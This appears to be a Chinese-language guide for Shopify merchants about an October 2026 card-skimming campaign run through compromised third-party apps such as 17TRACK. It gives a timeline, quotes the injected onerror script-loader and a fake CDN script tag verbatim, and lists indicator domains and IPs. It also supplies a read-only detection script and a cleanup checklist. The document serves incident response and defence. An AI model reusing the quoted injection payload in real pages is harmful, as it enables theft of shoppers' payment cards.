Skip to Content
🎉 探索 Shopify 的无限可能 结构化知识 + 实战案例,持续更新中...
进阶教程
App 被黑盗卡事件与自查
专题店铺运营与管理 →

Shopify App 被黑盗卡事件:17TRACK 菜单注入与自查

更新于 2026-10-21 · 依据:Roman Zipp 技术分析 、iTnews 报道 、Shopify 社区讨论 、Reddit r/shopifyDev 商家报告 ,以及我们对受影响店铺页面的实测。事件仍在发展,以 Shopify 和各 App 开发者的正式公告为准。

这次不是 Shopify 平台被黑,而是第三方 App 被攻击者控制,借 App 的权限往商家店铺里塞恶意脚本。 顾客点结账时被带到一个仿冒的结账页,填完卡号后再被送回真结账页正常付款,顾客和商家几乎都察觉不到。

10 月 10 日以来已经有好几批 App 中招。10 月 20 日这一波换了位置:恶意代码藏在导航菜单的“名称”里。物流查询 App 17TRACK 被商家点名,目前已在 App Store 搜不到。

受影响店铺的 17TRACK 订单查询页:页脚菜单出现裂图,开发者工具显示菜单名称被替换成带 onerror 的 img 标签(店铺信息已打码)

一、事件时间线

时间发生了什么来源
10/10开发者结账时被跳到钓鱼页,追查到 Hulk Product Options 的自定义 JS 配置被注入Roman Zipp 分析
10/13 UTC 07:47–15:00Selleasy(Logbase)内部工具被入侵,攻击者往商家的 Custom JS 设置里加脚本Selleasy 声明、iTnews
10/14 前后Swym Wishlist Plus 被商家报告社区报告
10/17–10/20Boost AI Search & Filter、Privy、Consentmo 被报告或下架社区报告
10/20商家发现恶意代码出现在菜单标签和结账按钮;店主更新称 Shopify 已确认是 17TRACKReddit 店主转述
10/21App Store 搜索 17TRACK 已无结果我们实测

关于“下架了多少个 App”:第三方对 App Store 存档的统计显示,10 月共有约 126 个 App 标记为已下架,其中 89 个集中在 10 月 15 日。这些下架不一定都和本次攻击有关,同期正好赶上 API 2025-10 版本停用。Shopify 没有公布具体数量。

一句话:被点名的 App 跨了追加销售、商品选项、心愿单、搜索、弹窗、GDPR、物流查询好几类,不能只看自己有没有装其中某一个,要按下面的步骤查店铺本身。


二、实测:菜单名称被换成了一段脚本

我们抓取了一家受影响店铺的 17TRACK 订单查询页(/apps/17TRACK),发现两处注入。

1. 页脚“Track Your Order”菜单被篡改

菜单链接本身还指向正常的 17TRACK 查询页,但菜单名称变成了下面这段 HTML:

<a href="https://店铺域名/apps/17TRACK" class="list-menu__item--link"> <img src=x onerror="s=document.createElement('script'); s.src='//240.1.2.3/check-out/assets/l3.js';document.head.append(s)"> </a>
Chrome 开发者工具中,菜单链接内部是一个 src=x 的 img 标签,onerror 里动态加载外部脚本 l3.js

原理很简单:

  • src=x 是一张不存在的图片,一定会加载失败;
  • 加载失败就触发 onerror,往页面里插入一个外部脚本;
  • 页面上看起来只是一个裂开的小图标,普通访客根本不会注意。
店铺页脚 Bulk Orders 下方只显示一个裂开的图片图标

这是典型的存储型 XSS:恶意代码存在后台数据(菜单)里,每个访客打开页面都会执行。

截图里的 240.1.2.3 属于保留地址段,公网上基本访问不到,这一条可能已经失效或只是占位。但路径 /check-out/assets/l3.js 和 Reddit 商家看到的 cartassure[.]top/check-out/assets/l3.js 完全一致,是同一套攻击。

2. <head> 顶部有一个假 CDN 脚本

<script src="https://shopify.jsdeliver.cloud/js/config.js" defer="defer"></script>

真正的公共 CDN 是 jsdelivr.net,这里是 jsdeliver.cloud,前面再加个 shopify. 冒充官方。这个域名今年 4 月就有商家在 Shopify 社区报告过。截至 10 月 21 日,它已经无法解析。

3. 其他 App 已经在“防”这两个地址

同一页面里,另一款 App(Kaching Bundles)的代码会检测页面上是否存在 shopify.jsdeliver.cloud 或 240.1.2.3 的脚本,检测到就换一套加载逻辑。App 开发者之间已经把这两个地址当作已知恶意特征在处理,侧面说明影响面不小。


三、为什么物流 App 能改你的菜单

攻击流程图:菜单名称被换成假图片,图片加载失败触发脚本,结账跳到假页面骗卡号

物流查询类 App 安装时通常会自动帮你在菜单里加一个“Track Your Order”,所以它们本来就申请了修改店铺导航的权限。一旦 App 的服务器或内部工具被攻击者控制,同样的权限就能被用来:

  1. 把菜单名称改成带 onerror 的图片标签;
  2. 主题渲染菜单时把名称原样输出,脚本执行;
  3. 脚本劫持结账按钮,跳到假结账页。

以上是按 App 权限推出来的攻击路径。Shopify 和 17TRACK 都还没公开具体入侵方式。

前几轮的注入位置不一样,但套路相同:

注入位置例子怎么查
导航菜单名称菜单标题里出现 <img src=x onerror=…>后台 内容 → 菜单,逐个点开看名称
App 的自定义 JS 配置HulkApps 的 custom_js、Selleasy 的 Custom JS开发者工具 → Network,看 App 接口返回里有没有大段 JS
主题 <head>shopify.jsdeliver.cloud/js/config.js在线商店 → 编辑代码,全局搜索
结账按钮点击事件被劫持,跳到假结账页无痕窗口真实走一遍结账

钓鱼脚本有三个特点,让它很难被发现:

  • 每个访客只跳一次,用 sessionStorage 打标记,所以你自己测一次没问题不代表没事;
  • 假结账页显示的是真实购物车内容,填完再跳回真结账页,订单照常生成;
  • 跳转链接里会带 return_to=你的真实结账链接。

红线:卸载 App 不等于清干净。 App 写进菜单、metafield、主题文件里的内容,卸载后还留着。Reddit 上的店主就是清了一次之后,又发现别的菜单项里还有毒。


四、5 分钟自查

5 分钟自查清单:检查菜单、搜索主题代码、无痕窗口测试结账、改密码开两步验证

第 1 步:浏览器里快速扫一遍

打开店铺任意页面,按 F12 打开控制台,粘贴运行下面这段。它只读不改:

const bad = /jsdeliver\.cloud|240\.1\.2\.3|cartassure|biliing\.top|checkout-confirm\.top|order-confirm\.top|account-confirm\.top|billing-confirm\.top|checkout-guard\.top|check-out\/assets/i; const hits = []; document.querySelectorAll('script[src]').forEach(s => bad.test(s.src) && hits.push(['script', s.src])); document.querySelectorAll('[onerror],[onload]').forEach(el => { const code = (el.getAttribute('onerror') || '') + (el.getAttribute('onload') || ''); if (/createElement\(\s*['"]script/.test(code) || bad.test(code)) hits.push(['inline', el.outerHTML.slice(0, 200)]); }); Object.keys(sessionStorage).filter(k => /__ctf_/.test(k)).forEach(k => hits.push(['sessionStorage', k])); console.table(hits.length ? hits : [['OK', '未发现已知特征']]);

再顺手看两眼:

  • 菜单和页脚里有没有裂开的小图片;
  • 用全新无痕窗口加购、点结账,确认地址栏是你自己的域名 /checkouts/… 或 checkout.shopify.com,不是陌生的 .top 域名。

第 2 步:后台逐项检查

位置看什么
内容 → 菜单逐个打开每个菜单项,名称里有没有 <、img、onerror、script
在线商店 → 主题 → 编辑代码搜索 onerror、jsdeliver.cloud、createElement('script')、.top/
在线商店 → 主题 → 自定义 → 应用嵌入关掉不认识的
设置 → 应用和销售渠道列出物流、搜索、追加销售、弹窗、GDPR 类 App,对照上面的名单
设置 → 用户和权限清理不认识的员工、协作者

第 3 步:发现中招后

  1. 先开店铺密码保护止血。被攻击的商家收到的 Shopify 回复也是“保持密码保护,等我们确认”。
  2. 停用或卸载可疑 App,卸载后回头再查一遍菜单和主题,残留不会自动清掉。
  3. 改 Shopify 主账号密码、开两步验证;有自建 App 的,轮换 API 密钥。
  4. 联系 Shopify 支持,或发邮件到 security@shopify.com,附上截图、时间和恶意域名。
  5. 找出这段时间下单的顾客,提醒留意信用卡异常,准备应对拒付。
  6. 之后定期巡检。有商家在每 15 分钟自动跑一次结账检测。

一句话原则:先止血(密码保护),再清源(App + 菜单 + 主题),最后善后(密码、顾客、拒付)。顺序别反。


五、已知恶意特征(IOC)

以下域名不要访问,用于在主题代码、菜单、网络请求里搜索比对:

类型特征出现在
域名cartassure[.]top10/20 菜单注入,路径 /check-out/assets/l2.js、l3.js
域名shopify.jsdeliver[.]cloud假 CDN,插在主题 <head>
域名biliing[.]top、checkout-confirm[.]top、order-confirm[.]top、account-confirm[.]top、billing-confirm[.]top、checkout-guard[.]top10 月前几轮的假结账页
IP240.1.2.3、45.197.2.217菜单注入脚本地址 / 前几轮假结账服务器
字符串onerror="s=document.createElement('script')、/check-out/assets/菜单名称、主题代码
sessionStorage__ctf_shim_handoff_done_v1、__ctf_checkout_txn_v1脚本已运行的痕迹
URL 参数return_to、source_url、source_site跳转到假结账页的链接

被点名的 App(截至 10 月 21 日):

  • 厂商自己承认:Selleasy、Hulk Product Options
  • 社区报告或已下架:Swym Wishlist Plus、Boost AI Search & Filter、Privy、Consentmo
  • 10 月 20 日这一波:17TRACK(店主称 Shopify 已确认,App Store 已搜不到)

六、常见问题(FAQ)

Q:是 Shopify 被黑了吗? A:目前没有证据显示是 Shopify 平台本身被入侵。 被攻破的是第三方 App 的服务器、内部工具或配置,攻击者借 App 的合法权限往店铺里写代码。Shopify 的处理方式是下架相关 App、要求开发者清除恶意代码。

Q:我没装名单里的 App,就安全了吗? A:不一定。 名单只是被公开点名的,有商家在没装 HulkApps 的情况下也被跳转过。按第四节的步骤查菜单、主题和结账流程,比对名单更可靠。

Q:卸载 17TRACK 之后,菜单里的恶意代码会自动消失吗? A:不会。 菜单名称是店铺自己的数据,App 卸载后改过的内容还在。必须到内容 → 菜单里手动改回正常名称,再搜一遍主题代码。

Q:我自己测结账是正常的,是不是就没中招? A:不能这么判断。 脚本对同一个访客只跳一次,而且部分浏览器和银行风控会拦截,所以经常复现不出来。每次测试都要用全新的无痕窗口,并且结合菜单和主题代码检查。

Q:顾客的卡号是不是已经泄露了? A:如果顾客在事件期间被带到过假结账页并输入了卡号,就要按已泄露处理:通知相关顾客联系发卡行,留意拒付。没有被跳转过的订单,卡信息走的是 Shopify 正常结账,不受影响。

Q:以后怎么降低这类风险? A:只装真正在用的 App,定期清理;尽量少给 App“修改导航”“修改主题”这类权限;员工和协作者按需开权限并开两步验证;大促前后用无痕窗口抽查结账。详见 Shopify 应用体检 和 店铺安全设置指南。


七、延伸阅读


小结:2026 年 10 月这轮 Shopify 盗卡事件,是攻击者控制了多个第三方 App,借 App 权限往店铺注入假结账跳转脚本。10 月 20 日的一波把代码藏进了导航菜单名称,17TRACK 被点名并从 App Store 消失。商家要做的是:用控制台脚本和无痕结账快速自查,逐个检查菜单、主题代码和应用嵌入,记住卸载 App 不等于清干净;一旦发现跳转,先开密码保护,再清理、改密码、联系 Shopify 并通知受影响顾客。事件仍在发展,App 名单和恶意域名会持续更新。

最后更新时间: